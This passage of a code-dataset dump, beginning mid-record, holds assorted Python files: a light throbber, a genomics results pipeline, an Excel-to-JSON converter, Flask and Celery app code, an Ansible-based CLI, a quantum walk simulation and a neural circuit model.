ArgumentParser\nfrom itertools import cycle\n\n\ndef Gradient(start, stop, step, red=True, green=False, blue=False):\n '''\n '''\n colors = []\n for i in range(start, stop, step):\n colors.append((i if red else 0, i if blue else 0, i if green else 0))\n return colors\n\n\nif __name__ == '__main__':\n '''\n '''\n parser = ArgumentParser()\n\n parser.add_argument('-l', '--light-id',\n type=int,\n default=0)\n parser.add_argument('-r', '--red',\n action='store_true',\n default=False)\n parser.add_argument('-g', '--green',\n action='store_true',\n default=False)\n parser.add_argument('-b', '--blue',\n action='store_true',\n default=False)\n parser.add_argument('-w', '--white',\n action='store_true',\n default=False)\n parser.add_argument('-f', '--fast',\n action='count', default=0)\n parser.add_argument('-d', '--dim',\n action='store_true',\n default=False)\n\n args = parser.parse_args()\n\n if args.white:\n args.red = True\n args.green = True\n args.blue = True\n\n if not any([args.red, args.green, args.blue]):\n args.red = True\n\n step = 8 * (min(args.fast, 24) + 1)\n\n colors = Gradient(0, 255, step, args.red, args.green, args.blue)\n\n colors.extend(c for c in reversed(colors))\n\n try:\n b = BlyncLight.available_lights()[args.light_id]\n except IndexError:\n print(f'light {args.light_id} is unavailable')\n\n b.on = False\n b.color = (0, 0, 0)\n b.dim = args.dim\n\n try:\n b.on = True\n while True:\n for color in cycle(colors):\n b.color = color\n sleep(0.05)\n except KeyboardInterrupt:\n pass\n b.on = False\n","sub_path":"contrib/throbber.py","file_name":"throbber.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"480072038","text":"#!/usr/bin/env python3\n\n__author__ = 'konradk'\n\nimport time\nfrom gnomad_hail import *\nfrom shlex import quote as shq\nfrom ukb_common.utils.saige_pipeline import *\nfrom ukb_exomes import *\n\nbucket = 'gs://ukbb-pharma-exome-analysis'\ntemp_bucket = 'gs://ukbb-pharma-exome-analysis-temp'\nresults_dir = f'{bucket}/finngen/result'\nfinal_results_ht = f'{bucket}/finngen/variant_results.ht'\nvep_path = f'{bucket}/finngen/all_variants_vep.ht'\n\n\ndef main(args):\n hl.init(default_reference='GRCh38', log='/load_results.log')\n start_time = time.time()\n all_phenos_ht = hl.import_table('gs://finngen-public-data-r2/summary_stats/r2_manifest.tsv', impute=True)\n # all_phenos_ht = all_phenos_ht.annotate(code=all_phenos_ht.phenocode.split('_', 2)[0])\n all_phenos = all_phenos_ht.collect()\n\n backend = pipeline.BatchBackend(billing_project='ukb_pharma')\n # backend = pipeline.LocalBackend(gsa_key_file='/Users/konradk/.hail/ukb-diverse-pops.json')\n p = pipeline.Pipeline(name='finngen_load', backend=backend,\n default_image='gcr.io/ukbb-exome-pharma/hail_utils:3.3',\n default_storage='500Mi', default_cpu=8)\n\n tasks = []\n for i, pheno in enumerate(all_phenos):\n variant_results_ht_path = f'{results_dir}/ht/{pheno.phenocode}.ht'\n if not args.overwrite_results and hl.hadoop_exists(f'{variant_results_ht_path.replace(\".ht\", \".mt\")}/_SUCCESS'):\n continue\n t: pipeline.pipeline.Task = p.new_task(name='load_pheno', attributes={'pheno': pheno.phenocode}).cpu(args.n_threads)\n t.command(f\"\"\"\n PYTHONPATH=$PYTHONPATH:/ PYSPARK_SUBMIT_ARGS=\"--conf spark.driver.memory=24g pyspark-shell\"\n python3 /ukb_exomes/hail/load_finngen_results_hail.py\n --input_file {pheno.path_bucket} --n_threads {args.n_threads}\n --load_single --vep_path {vep_path}\n --additional_dict {shq(json.dumps(dict(pheno)))}\n --output_ht {variant_results_ht_path}\n --output_mt {variant_results_ht_path.replace('.ht', '.mt')}\n --overwrite\n \"\"\".replace('\\n', ' '))\n tasks.append(t)\n if args.limit and i == args.limit:\n break\n\n t: pipeline.pipeline.Task = p.new_task(name='combine').cpu(args.n_threads)\n\n t.depends_on(*tasks)\n t.command(f\"\"\"\n PYTHONPATH=$PYTHONPATH:/ PYSPARK_SUBMIT_ARGS=\"--conf spark.driver.memory=4g --conf spark.executor.memory=24g pyspark-shell\"\n python3 /ukb_exomes/hail/load_finngen_results_hail.py --combine_all\n --input_directory {results_dir}/ht\n --output_ht {final_results_ht}\n --output_mt {final_results_ht.replace('.ht', '.mt')}\n --overwrite --n_threads {args.n_threads}\n \"\"\".replace('\\n', ' '))\n\n logger.info(f'Setup took: {time.strftime(\"%H:%M:%S\", time.gmtime(time.time() - start_time))}')\n logger.info(f'Submitting: {get_tasks_from_pipeline(p)}')\n p.run(dry_run=args.dry_run, verbose=True, delete_scratch_on_exit=False)\n logger.info(f'Finished: {get_tasks_from_pipeline(p)}')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--overwrite', help='Overwrite everything', action='store_true')\n parser.add_argument('--limit', help='Overwrite everything', type=int)\n parser.add_argument('--dry_run', help='Overwrite everything', action='store_true')\n parser.add_argument('--overwrite_results', help='Overwrite everything', action='store_true')\n parser.add_argument('--n_threads', help='Overwrite everything', default=8, type=int)\n parser.add_argument('--slack_channel', help='Send message to Slack channel/user', default='@konradjk')\n args = parser.parse_args()\n\n if args.slack_channel:\n try_slack(args.slack_channel, main, args)\n else:\n main(args)","sub_path":"python/load_finngen_results.py","file_name":"load_finngen_results.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"336594875","text":"import xlrd\nimport os\nimport json\n\n\nclass DaoCfg(object):\n\n def __init__(self):\n super(DaoCfg, self).__init__()\n self.init()\n\n def init(self):\n self.oriDir = \"D:/wsx/py/server/xls/\" # 源文件夹\n self.tarClientDir = \"D:/wsx/py/server/config/client/\" # 目标文件夹\n self.tarServerDir = \"D:/wsx/py/server/config/server/\" # 目标文件夹\n self.supportType = [\".xls\"] # 只处理源文件夹中支持的格式类型的文件\n\n self.keyNum = [0,0] # 键的数量\n self.realyLine = 5 # 从这行开始才是真正的数据\n self.intType = \"int\"\n self.strType = \"string\"\n self.arrType = \"array\"\n self.doubleArrTypeKey = \"a\"\n self.doubleArrTypeValue = \"b\"\n\n self.keyLine = 3\n\n def destroy(self):\n self.oriDir = None\n self.tarDir = None\n self.supportType = None\n\n def start(self):\n filePath = \"\"\n\n oriFileArray = os.listdir(self.oriDir)\n for file in oriFileArray:\n filePath = self.oriDir + file\n if self.isFileSupport(filePath) is True:\n self.openExcel(filePath)\n \n def openExcel(self, filePath):\n excel = xlrd.open_workbook(filePath)\n sheetNameArray = excel.sheet_names()\n sheet = None\n for sheetName in sheetNameArray: # 遍历每个sheet\n sheet = excel.sheet_by_name(sheetName)\n self.packJson(sheet)\n\n def packJson(self, sheet):\n clientJson = {}\n # serverJson = {}\n keyNum = int(sheet.cell(self.keyNum[0], self.keyNum[1]).value)\n # keyArray = [None] * keyNum\n\n for col, colValue in enumerate(sheet.col_values(0)): # 行\n tarObjClient = clientJson\n # tarObjServer = serverJson\n for row, rowValue in enumerate(sheet.row_values(0)): # 列\n if col < self.realyLine:\n break\n if row < keyNum: # key\n key = self.getValue(sheet, col, row)\n if tarObjClient.get(key) == None:\n tarObjClient[key] = {}\n # tarObjServer[key] = {}\n tarObjClient = tarObjClient[key]\n # tarObjServer = tarObjServer[key]\n else:\n key = self.getValue(sheet,self.keyLine,row)\n value = self.getValue(sheet,col,row)\n tarObjClient[key] = value\n\n\n\n # for col, colValue in enumerate(sheet.col_values(0)): # 行\n # for row, rowValue in enumerate(sheet.row_values(0)): # 列\n # if col < self.realyLine:\n # break\n # if row == 0: # 初始化key结构\n # tarObjClient = clientJson\n # tarObjServer = serverJson\n # for index in range(keyNum):\n # value = self.getValue(sheet, col, index)\n # if value != \"\":\n # keyArray[index] = value\n # tarObjClient[value] = {}\n # tarObjServer[value] = {}\n # tarObjClient = tarObjClient[keyArray[index]]\n # tarObjServer = tarObjServer[keyArray[index]]\n\n # if self.isDaoClient(self.getValue(sheet, 1, row)):\n # self.fixData(sheet, clientJson, keyArray, col, row)\n\n # if self.isDaoServer(self.getValue(sheet, 1, row)):\n # self.fixData(sheet, serverJson, keyArray, col, row)\n\n print(json.dumps(clientJson,indent=1))\n # print(json.dumps(serverJson,indent=1))\n # tarClientFile = self.tarClientDir + sheet.name + \".json\"\n # tarServerFile = self.tarServerDir + sheet.name + \".json\"\n\n # jsonFile = open(tarClientFile, \"w\",)\n # jsonFile.write(json.dumps(clientJson, indent=1)) # indent=1 格式化处理\n # jsonFile.close()\n\n # jsonFile = open(tarServerFile, \"w\",)\n # jsonFile.write(json.dumps(serverJson, indent=1))\n # jsonFile.close()\n # print(\"写入 \" + sheet.name + \" 完成\")\n\n # ?????????????????\n def removeAllFile(self):\n cDir = os.listdir(self.tarClientDir)\n sDir = os.listdir(self.tarServerDir)\n\n filePath = \"\"\n for file in cDir:\n filePath = self.tarClientDir + file\n os.remove(filePath)\n for file in sDir:\n filePath = self.tarServerDir + file\n os.remove(filePath)\n\n\n # ---------------------------------------------------------------------- Tools\n # 填充数据\n def fixData(self, sheet, tarObj, col, row):\n pass\n # for key in keyArray:\n # tarObj = tarObj[key]\n\n # key = self.getValue(sheet, 3, row)\n # keyValue = self.getValue(sheet, col, row)\n # if keyValue == \"\" or keyValue == None:\n # return\n # keyType = self.checkKeyType(sheet, row)\n # if keyType == 1: # 一般字段\n # tarObj[key] = keyValue\n\n # elif keyType == 2: # 一维数组\n # keyName = self.getValue(sheet, 3, row)\n # try:\n # tarObj[keyName].append(keyValue)\n # except BaseException:\n # tarObj[keyName] = []\n # tarObj[keyName].append(keyValue)\n\n # elif keyType == 3: # 二维数组\n # keyName = self.getValue(sheet, 3, row)\n # try:\n # if sheet.cell(2, row).value == \"a\":\n # newArray = []\n # newArray.append(keyValue)\n # tarObj[keyName].append(newArray)\n # elif sheet.cell(2, row).value == \"b\":\n # l = len(tarObj[keyName])\n # tarObj[keyName][l - 1].append(keyValue)\n # except BaseException:\n # tarObj[keyName] = []\n # newArray = []\n # newArray.append(keyValue)\n # tarObj[keyName].append(newArray)\n # ---------------------------------------------------------------------- Tools\n # 判断该文件是否为支持文件\n def isFileSupport(self, filePath):\n fileType = os.path.splitext(filePath)[1]\n for sType in self.supportType:\n if sType == fileType:\n return True\n return False\n\n def getValue(self, sheet, col, row):\n value = sheet.cell_type(col, row)\n if value == 2:\n return int(sheet.cell(col, row).value)\n return sheet.cell(col, row).value\n\n # 判断是否为到客户端类型\n def isDaoClient(self, daoType: str):\n for type in daoType:\n if type == \"c\":\n return True\n return False\n\n # 判断是否为到服务端类型\n def isDaoServer(self, daoType: str):\n for type in daoType:\n if type == \"s\":\n return True\n return False\n\n # 判断是否有分隔符\n def checkKeyType(self, sheet, row: int):\n type = sheet.cell(2, row).value\n if type == \"arr\":\n return 2\n elif type == \"a\" or type == \"b\":\n return 3\n return 1\n\n\nD = DaoCfg()\nD.removeAllFile()\nD.start()\nD.destroy()\n","sub_path":"tmp/py/server/DaoCfg - 副本.py","file_name":"DaoCfg - 副本.py","file_ext":"py","file_size_in_byte":7657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"300957417","text":"#!/usr/bin/env python3\n\nfrom app.ext import celery\nfrom app.ext import db\nfrom app.ext import log\nfrom app.decorators.request import lock_process\nfrom app.utils.rpc import AppStoreClient\n\nfrom app.model.app import App\nfrom app.model.app import AppHistory\n\n@celery.task\n@lock_process\ndef update_all_app_info_task():\n appids = db.session.query(App.id).all()\n count = 100\n for i in range(0, len(appids), count):\n update_app_info_task.delay(appids[i: i + count])\n\n@celery.task\ndef update_app_info_task(appids):\n apps = db.session.query(App.id, App.locale, App.appstore_id).filter(App.id.in_(appids)).all()\n client = AppStoreClient()\n for appid, locale, appstore_id in apps:\n app_info = client.get_app_info(locale, appstore_id)\n if not app_info:\n log.info('get app info failed, %s, %s', locale, appstore_id)\n continue\n version = db.session.query(AppHistory.version).order_by(AppHistory.id.desc()).first()\n result = []\n for history in app_info['history']:\n if not version or history['versionString'] != version[0][0]:\n result.append(history)\n else:\n break\n for x in result[::-1]:\n history = AppHistory(\n appid=appid,\n release_time=x['releaseDate'],\n version=x['versionString'],\n description=x['releaseNotes']\n )\n db.session.add(history)\n db.session.commit()","sub_path":"app/schedules/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"469324440","text":"\"\"\"\nAuthor: Shawn Anderson\nDate : 11/11/19\nBrief : Send a combiner which will combine a group of partial frames into a single completed frame for a video output\nNotes : Access your custom implementation of a combiner here\nCopyright 2019 California Institute of Technology. ALL RIGHTS RESERVED.\nU.S. Government Sponsorship acknowledged.\n\"\"\"\nfrom visualizer.combiner.helm_combiner import HelmCombiner\nfrom visualizer.combiner.zoom_in_combiner import ZoomInCombiner\nfrom visualizer.util.util import get_valid_range\n\n\ndef default_movie_combiner(drawers, **kwargs):\n\n total = get_valid_range(kwargs.get('start_frame'),\n kwargs.get('end_frame'))\n\n combiner = HelmCombiner(drawers=drawers,\n output_format=kwargs.get('output_format'),\n total=total,\n dataset_name=kwargs.get('dataset_name'),\n resize_ratio=kwargs.get('resize_ratio'),\n output_dir_path=kwargs.get('output_directory'))\n\n return combiner\n\n\ndef zoom_in_movie_combiner(drawers, **kwargs):\n\n total = get_valid_range(kwargs.get('start_frame'),\n kwargs.get('end_frame'))\n\n combiner = ZoomInCombiner(drawers=drawers,\n output_format=kwargs.get('output_format'),\n total=total,\n dataset_name=kwargs.get('dataset_name'),\n resize_ratio=kwargs.get('resize_ratio'),\n output_dir_path=kwargs.get('output_directory'))\n\n return combiner\n\n\n\n","sub_path":"visualizer/combiner_types.py","file_name":"combiner_types.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"269694547","text":"#First Task\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\ndriver = webdriver.Chrome()\r\ndriver.get('some_URL')\r\n\r\n\r\n# def scroll():\r\n# return 'next 10'\r\n\r\n# def is_displayed():\r\n# return True if 'some condition' else False\r\n\r\ndef scroll_to(item):\r\n if is_displayed is True: # if element displayed so we can get it\r\n our_element = driver.find_elemet_by_id(f'{item}') # or it can be found by css selector for example\r\n actions = ActionChains(driver)\r\n actions.move_to_element(our_element).perform()\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n# Second Task\r\n# just wanted to check myself\r\n\r\n\r\n# def get_product_by_id(id):\r\n# names = {\r\n# 1 : 'Burger',\r\n# 2 : 'Shawarma',\r\n# 3 : 'Sandwich',\r\n# 4 : 'Hot Dog'\r\n# }\r\n# if id in names.keys():\r\n# return names[id]\r\n#\r\n# def get_extra_products(get_product_by_id):\r\n# ingridients = {\r\n# 'Burger' : ['Cheese', 'Bread', 'Salad', 'Meat'],\r\n# 'Shawarma' : ['Pita', 'Salad', 'Cheese', 'Meat', 'Ketchup', 'Carrot', 'Mustard'],\r\n# 'Sandwich' : ['Bread', 'Salad', 'Meat', 'Ketchup'],\r\n# 'Hot Dog' : ['Bun', 'Sausage', 'Mayonaise', 'Ketchup', 'Mustard']\r\n# }\r\n# if get_product_by_id in ingridients.keys():\r\n# return ingridients[get_product_by_id]\r\n\r\n\r\n\r\ndef count_extra_products():\r\n products = {}\r\n for j in range(1, 11):\r\n for i in get_extra_products(get_product_by_id(j)):\r\n if i in products.keys():\r\n products[i] += 1\r\n else:\r\n products[i] = 1\r\n return products\r\n\r\n","sub_path":"Dev_Pro_test_task.py","file_name":"Dev_Pro_test_task.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"72953082","text":"from flask import request\nfrom flask_bouncer import requires, ensure\n\nfrom app.constants import CREATE, READ, UPDATE, DELETE, LIST\nfrom app.factory import APIResult\nfrom app.decorators import validate_with, paginate\nfrom app.transactions import transactions\nfrom app.transactions.models import Transaction\nfrom app.transactions.schema import create_transaction, update_transaction\n\n\n@transactions.route('/', methods=['POST'])\n@requires(CREATE, Transaction)\n@validate_with(create_transaction)\ndef create():\n transaction = Transaction()\n transaction.import_data(request.method, request.get_json())\n transaction.save()\n return APIResult({'self_url': transaction.get_url()}, 201, Link=transaction.get_url())\n\n\n@transactions.route('/', methods=['GET'])\n@requires(READ, Transaction)\ndef read(id):\n transaction = Transaction.query.get_or_404(id)\n ensure(READ, transaction)\n return APIResult(transaction.export_data())\n\n\n@transactions.route('/', methods=['PUT'])\n@requires(UPDATE, Transaction)\n@validate_with(update_transaction)\ndef update(id):\n transaction = Transaction.query.get_or_404(id)\n ensure(UPDATE, transaction)\n transaction.import_data(request.method, request.get_json())\n transaction.save()\n return APIResult({'self_url': transaction.get_url()})\n\n\n@transactions.route('/', methods=['DELETE'])\n@requires(DELETE, Transaction)\ndef delete(id):\n transaction = Transaction.query.get_or_404(id)\n ensure(DELETE, transaction)\n transaction.remove()\n return APIResult({}, 204)\n\n\n@transactions.route('/', methods=['GET'])\n@requires(LIST, Transaction)\n@paginate('transactions')\ndef list():\n return Transaction.query\n","sub_path":"api/app/transactions/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"598558805","text":"# (c) 2014-2016, Ben Osman (@benosman)\n#\n# This file is part of Able\n#\n# Able is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Able is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Able. If not, see .\n\n# Make coding more python3-ish\nfrom __future__ import (absolute_import, division, print_function)\n\n__metaclass__ = type\n\nimport sys\nimport copy\nimport traceback\n\nimport click\nfrom click.exceptions import ClickException, Abort\n\nfrom ansible.errors import AnsibleError, AnsibleOptionsError, AnsibleParserError\nfrom ansible.utils.unicode import to_unicode\n\nimport able.objects.mapping\nimport able.constants as C\nfrom able.ablefile import AbleFile\nfrom able.cli.command import CLICommand\nfrom able.cli.base_command import CLIBaseCommand\nfrom able.cli.global_options import GlobalOptions\nfrom able.display import display\nimport able.errors as errors\n\n\nclass AbleCLI(click.MultiCommand, CLIBaseCommand):\n EPILOG = \"See 'able help ' for more information on a specific command.\"\n\n # to prevent typos and such\n\n def __init__(self, name=None, context_settings=None, **kwargs):\n super(AbleCLI, self).__init__(**kwargs)\n CLIBaseCommand.__init__(self, name, add_version_option=True, context_settings=context_settings)\n CLIBaseCommand.__init__(self, name, add_version_option=True, context_settings=context_settings)\n self.epilog = AbleCLI.EPILOG\n self.options.append(\n click.Option(['--able-file'], envvar='ABLE_FILE', default='',\n metavar='PATH', help='Sets the able file location.')\n )\n\n def load_file(self, ctx):\n if ctx.obj is None:\n param_path = ctx.params.get('able_file', None)\n ctx.obj = AbleFile.load_from_path(param_path)\n return ctx.obj\n\n def main(self, *args, **kwargs):\n \"\"\"\n Main command-line execution loop.\n \"\"\"\n display.debug(\"starting run\")\n display.display(\" \", log_only=True)\n display.display(\" \".join(sys.argv), log_only=True)\n display.display(\" \", log_only=True)\n\n try:\n kwargs['standalone_mode'] = False\n result = super(AbleCLI, self).main(*args, **kwargs)\n return result\n except AnsibleOptionsError as e:\n # cli.parser.print_help()\n display.error(to_unicode(e), wrap_text=False)\n sys.exit(5)\n except AnsibleParserError as e:\n display.error(to_unicode(e), wrap_text=False)\n sys.exit(4)\n # TQM takes care of these, but leaving comment to reserve the exit codes\n # except AnsibleHostUnreachable as e:\n # display.error(str(e))\n # sys.exit(3)\n # except AnsibleHostFailed as e:\n # display.error(str(e))\n # sys.exit(2)\n except AnsibleError as e:\n display.error(to_unicode(e), wrap_text=False)\n sys.exit(1)\n except ClickException as e:\n display.error(e.format_message())\n sys.exit(e.exit_code)\n except Abort:\n display.display(\"...aborting\")\n display.error(\"User aborted\")\n sys.exit(95)\n except KeyboardInterrupt:\n display.error(\"User interrupted execution\")\n sys.exit(99)\n except Exception as e:\n # have_cli_options = cli is not None and cli.options is not None\n display.error(\"Unexpected Exception: %s\" % to_unicode(e), wrap_text=False)\n # if not have_cli_options or have_cli_options and cli.options.verbosity > 2:\n display.display(u\"the full traceback was:\\n\\n%s\" % to_unicode(traceback.format_exc()))\n # else:\n display.display(\"to see the full traceback, use -vvv\")\n sys.exit(250)\n\n def parse_args(self, ctx, args):\n rest = click.Command.parse_args(self, ctx, args)\n\n # Load Able file.\n ablefile = self.load_file(ctx)\n\n if not rest:\n if self.no_args_is_help:\n click.echo(self.get_help(ctx))\n ctx.exit()\n else:\n # Error or default command\n return []\n\n if rest[0] != 'help' and len(ablefile.stages) > 0:\n stage_arg, rest = rest[:1], rest[1:]\n if len(stage_arg) == 1:\n stage = stage_arg[0]\n self.subcommand_metavar = 'STAGE COMMAND [ARGS]...'\n if stage in ablefile.stages.keys():\n ablefile.stage = stage\n else:\n ctx.fail('No such stage \"%s\".' % stage)\n\n if self.chain:\n ctx.protected_args = rest\n ctx.args = []\n elif rest:\n ctx.protected_args, ctx.args = rest[:1], rest[1:]\n\n return ctx.args\n\n def list_stages(self, ctx):\n able_file = ctx.obj\n stages = []\n if isinstance(able_file, AbleFile):\n stages = able_file.stages.keys()\n\n return stages\n\n def get_stage(self, ctx, name):\n able_file = ctx.obj\n\n params = []\n if isinstance(able_file, AbleFile):\n stage = able_file.get_stage(name)\n\n # stage not found - nothing to do here - or error?\n if not stage:\n if name == 'help':\n return self.help_command(ctx)\n return None\n\n kwargs = {}\n kwargs['help'] = stage.help\n kwargs['short_help'] = stage.short_help\n\n ret = click.Command(name, params=params, **kwargs)\n return ret\n\n def list_commands(self, ctx):\n able_file = ctx.obj\n commands = []\n if isinstance(able_file, AbleFile):\n commands = able_file.commands.keys()\n\n return commands\n\n def get_command(self, ctx, name):\n able_file = ctx.obj\n\n params = []\n if isinstance(able_file, AbleFile):\n command = able_file.get_command(name)\n\n # Command not found - nothing to do here - or error?\n if not command:\n if name == 'help':\n return self.help_command(ctx)\n return None\n else:\n return CLICommand(name, command=command)\n\n elif name == 'help':\n return self.help_command(ctx)\n\n def help_command(self, ctx):\n\n @click.pass_context\n def callback(ctx, command=None, **kwargs):\n cmd = None\n cmd_ctx = None\n if command:\n cmd_ctx = copy.deepcopy(ctx)\n cmd_ctx.info_name = command\n cmd = self.get_command(cmd_ctx, command)\n\n if not cmd:\n cmd_ctx = ctx.parent\n cmd = ctx.parent.command\n\n if cmd:\n click.echo(cmd.get_help(cmd_ctx))\n\n ctx.exit()\n\n params = [click.Argument(['command'], required=False)]\n ret = click.Command('help', params=params, callback=callback)\n return ret\n\n def get_help(self, ctx):\n \"\"\"Formats the help into a string and returns it. This creates a\n formatter and will call into the following formatting methods:\n \"\"\"\n formatter = ctx.make_formatter()\n self.format_help(ctx, formatter)\n return formatter.getvalue().rstrip('\\n')\n\n def format_options(self, ctx, formatter):\n \"\"\"Writes all the options into the formatter if they exist.\"\"\"\n opts = []\n for param in self.get_params(ctx, self.options):\n rv = param.get_help_record(ctx)\n if rv is not None:\n opts.append(rv)\n\n if opts:\n with formatter.section('Options'):\n formatter.write_dl(opts)\n\n self.format_stages(ctx, formatter)\n self.format_commands(ctx, formatter)\n self.format_global_options(ctx, formatter)\n\n def format_stages(self, ctx, formatter):\n \"\"\"Extra format methods for multi methods that adds all the stages\n after the options but before commands.\n \"\"\"\n able_file = ctx.obj\n if not isinstance(able_file, AbleFile):\n return\n\n if able_file.stage:\n formatter.write_paragraph()\n formatter.write_text('Stage: %s' % able_file.stage)\n return\n\n rows = []\n for item in self.list_stages(ctx):\n stage = self.get_stage(ctx, item)\n # What is this, the tool lied about a stage. Ignore it\n if stage is None:\n continue\n\n help = stage.short_help or ''\n rows.append((item, help))\n\n if rows:\n with formatter.section('Stages'):\n formatter.write_dl(rows)\n","sub_path":"able/cli/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"602806341","text":"import numpy as np\nfrom matplotlib.pyplot import *\n\nN = 10 #number of steps\nP = 2*N+1 #number of positions in each direction\n\ncoin00 = np.array([1,0,0,0]) # |00>\ncoin01 = np.array([0,1,0,0]) # |01>\ncoin10 = np.array([0,0,1,0]) # |10>\ncoin11 = np.array([0,0,0,1]) # |11>\n\nC0000 = np.outer(coin00,coin00) # |00><00|\nC0001 = np.outer(coin00,coin01) # |00><01|\nC0010 = np.outer(coin00,coin10) # |00><10|\nC0011 = np.outer(coin00,coin11) # |00><11|\nC0100 = np.outer(coin01,coin00) # |01><00|\nC0101 = np.outer(coin01,coin01) # |01><01|\nC0110 = np.outer(coin01,coin10) # |01><10|\nC0111 = np.outer(coin01,coin11) # |01><11|\nC1000 = np.outer(coin10,coin00) # |10><00|\nC1001 = np.outer(coin10,coin01) # |10><01|\nC1010 = np.outer(coin10,coin10) # |10><10|\nC1011 = np.outer(coin10,coin11) # |10><11|\nC1100 = np.outer(coin11,coin00) # |11><00|\nC1101 = np.outer(coin11,coin01) # |11><01|\nC1110 = np.outer(coin11,coin10) # |11><10|\nC1111 = np.outer(coin11,coin11) # |11><11|\n\nC_hat = (C0000 + C0001 + C0010 + C0011 + C0100 + C0101*1j - C0110 - C0111*1j + C1000 - C1001 + C1010 - C1011 + C1100 - C1101*1j - C1110 + C1111*1j)/2.0\n\nShiftLeft = np.kron(np.eye(P),np.roll(np.eye(P), 1, axis=0))\nShiftRight = np.kron(np.eye(P),np.roll(np.eye(P), -1, axis=0))\nShiftDown = np.kron(np.roll(np.eye(P), -1, axis=0),np.eye(P))\nShiftUp = np.kron(np.roll(np.eye(P), 1, axis=0),np.eye(P))\n\nS_hat = np.kron(ShiftRight, C0000) + np.kron(ShiftUp, C0101) + np.kron(ShiftLeft, C1010) + np.kron(ShiftDown,C1111)\n\nU = S_hat.dot(np.kron(np.eye(P*P),C_hat))\n\nposn0 = np.zeros(P*P)\nposn0[N*P+N] = 1 # np.array indexing starts from (0) so index (N*P+N) is the central position\n#initialCoin=(coin00+coin01+coin10-coin11)/2.0\ninitialCoin = (coin00-coin01+coin10-coin11)/2.0\npsi0 = np.kron(posn0,initialCoin) #Initial spin \n\n# psiN = np.linalg.matrix_power(U, N).dot(psi0)\npsiN = np.linalg.matrix_power(U, N).dot(psi0)\n\ns = np.kron(np.eye(P**2),np.array((1,1,1,1)))\nprob3d = np.reshape((s.dot((psiN.conjugate()*psiN).real)),(P,P))\n\nfig = figure()\nmatplotlib.pyplot.imshow(prob3d.real, cmap='hot', interpolation='nearest')\n#savefig('n16_HeatMap.png')\nshow()\n","sub_path":"qwalk5.py","file_name":"qwalk5.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"323727095","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 25 08:41:10 2017\n\n@author: Yann Roussel and Tuan Bui\nEdited by: Emine Topcu on Sep 2021\n\"\"\"\n\nfrom Single_coiling_model import Single_coil_base\n\nclass Single_coil_V0d_KO(Single_coil_base):\n tV0dKOstart = 50000\n tV0dKOend = 100000\n\n def __init__(self, dt = 0.1, stim0 = 8, sigma = 0,\n E_glu = 0, E_gly = -70, cv = 0.55, nIC = 5, nMN = 10, nV0d = 10, nMuscle = 10):\n super().__init__(dt, stim0, sigma,\n E_glu, E_gly, cv, nIC, nMN, nV0d, nMuscle)\n super().setWeightParameters(IC_IC_gap_weight = 0.001, IC_MN_gap_weight = 0.04, IC_V0d_gap_weight = 0.05,\n MN_MN_gap_weight = 0.1, V0d_V0d_gap_weight = 0.04, MN_V0d_gap_weight = 0.01,\n V0d_MN_syn_weight = 2.0, V0d_IC_syn_weight = 2.0, MN_Muscle_syn_weight = 0.015)\n super().setRangeParameters(rangeMin = 0.2, rangeIC_MN = 10, rangeIC_V0d = 10, rangeMN_MN = 6.5, rangeV0d_V0d = 3.5,\n rangeMN_V0d = 1.5, rangeV0d_MN = 8, rangeV0d_IC = 20, rangeMN_Muscle = 1)\n\n\n def calcV0dPotentialsandResidues(self, t):\n for k in range (0, self.nV0d):\n if t > self.tV0dKOstart and t < self.tV0dKOend:\n self.resLV0d[k,:] = self.L_V0d[k].getNextVal(self.resLV0d[k,0],self.resLV0d[k,1], 0)\n self.resRV0d[k,:] = self.R_V0d[k].getNextVal(self.resRV0d[k,0],self.resRV0d[k,1], 0)\n else:\n IgapL = - sum(self.LSGap_V0d_IC[k,:]) + sum(self.LSGap_IC_V0d[:,k]) - sum(self.LSGap_V0d_V0d[k,:]) + sum(self.LSGap_V0d_V0d[:,k]) - sum(self.LSGap_V0d_MN[k,:]) + sum(self.LSGap_MN_V0d[:,k])\n IgapR = - sum(self.RSGap_V0d_IC[k,:]) + sum(self.RSGap_IC_V0d[:,k]) - sum(self.RSGap_V0d_V0d[k,:]) + sum(self.RSGap_V0d_V0d[:,k]) - sum(self.RSGap_V0d_MN[k,:]) + sum(self.RSGap_MN_V0d[:,k])\n \n self.resLV0d[k,:] = self.L_V0d[k].getNextVal(self.resLV0d[k,0],self.resLV0d[k,1], IgapL)\n self.resRV0d[k,:] = self.R_V0d[k].getNextVal(self.resRV0d[k,0],self.resRV0d[k,1], IgapR)\n\n self.VLV0d[k,t] = self.resLV0d[k,0]\n self.VRV0d[k,t] = self.resRV0d[k,0]\n\n\n","sub_path":"Zebrafish 